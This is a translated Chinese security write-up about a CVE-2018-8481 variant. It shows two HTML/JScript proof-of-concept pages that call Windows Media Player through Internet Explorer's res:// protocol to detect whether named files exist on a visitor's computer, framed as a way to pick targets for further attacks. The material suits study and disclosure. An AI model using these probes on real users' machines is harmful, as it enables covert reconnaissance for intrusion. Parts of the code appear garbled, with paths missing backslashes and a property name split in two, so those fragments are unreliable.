首先,我將要提出的這種方法,其實是CVE-2018-8481的變種:portal.msrc.microsoft.com

?假設攻擊者想要探測目標機器的C:windowssystem32文件夾中是否存在的cmd.exe文件。 ?那麼,我們就可以利用javascript調用Windows Media Player(wmplayer.exe)來載入這個文件,文件存在與否會影響播放器的行為模式。?其中利用代碼中的"res:"代表資源,表示Internet Explorer從二進位文件載入內部資源。?具體格式為:res://resourcefile.ext/resourceitem

所有二進位文件的文件信息都可以在resource/16/1中找到。

res://filename/16/1

其中16=RT_VERSION,具體說明可在微軟的網址https://msdn.microsoft.com/en-us/library/windows/desktop/ms648009(v=vs.85).aspx.aspx)中找到。?這個16可以視為一個常量值,不用經常更改,代表所有二進位文件中的資源。

?默認情況下,瀏覽器會假定所需資源文件位於C:windowssystem32中,但我們可以請求系任何路徑上的文件。

?如果要檢測Windows Media Player本身是否存在,我們可以利用:

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1

為了更加進行比對,我們可以特意請求一個不存在的exe文件,看兩者的請求結果。

res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1

?以上兩個資源請求對應以下兩個PoC:

<b> res://C:Program FilesWindows Media Playerwmplayer.exe/16/1 </b>

<br>

<br>

?

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.exe/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

?

if(Player.error.item(0).errorDescription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

以下時請求不存在的文件的PoC,注意文件的後綴是不存在的ex

<b> res://C:Program FilesWindows Media Playerwmplayer.ex/16/1 </b>

<br>

<br>

?

<object id="Player" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6">

<PARAM NAME="URL" VALUE="res://C%3a%5cProgram Files%5cWindows Media Player%5cwmplayer.ex/16/1">

<param name="captioningID" value="displaylyric" />

<PARAM NAME="autoStart" VALUE="True">

</object>

<script LANGUAGE = "Jscript" FOR = Player EVENT = error()>

?

if(Player.error.item(0).errorDesc ription.length==189){

alert("Click the play button");

}

else

{

alert("Click the play button");

}

</script>

?而這兩個頁面在實際操作中最明顯的區別就是:當請求不存在的文件時,Windows Media Player會展示「正在打開媒體」;而請求存在的文件時,則不存在這種現象。這也導致這兩種情況有一定的時間差。

?現在,讓我們實際操作一下。我已經做出兩個頁面來展示我們如何探測特定文件的存在與否,我們以cmd.exe作為目標。

?當探測的文件存在時:pwning.click/Tdiff.php

?當探測的文件不存在時:pwning.click/Tdiff2.php

?當訪問第一個網址pwning.click/Tdiff.php時,我們可以看到Windows Media Player播放器。

此時點擊播放按鈕,我們可以看到播放器上什麼字元都沒有。

當訪問第二個網址pwning.click/Tdiff2.php時,我們也同樣可以看到Windows Media Player播放器,而此時點擊播放按鈕時,我們可以看到「正在打開媒體」。

把這種方法加以改進,我們可以批量篩選存在特定文件的目標,方便我們進行下一步攻擊。

以上就是這個方法的簡單介紹,更為詳細的說明我將在漏洞修復後放出。

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

來源:在網頁中通過調用Windows Media Player來探測特定文件

原文:blog.naver.com/windowsr

白帽匯從事信息安全,專註於安全大數據、企業威脅情報。

公司產品:FOFA-網路空間安全搜索引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平台。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。


推薦閱讀:
相关文章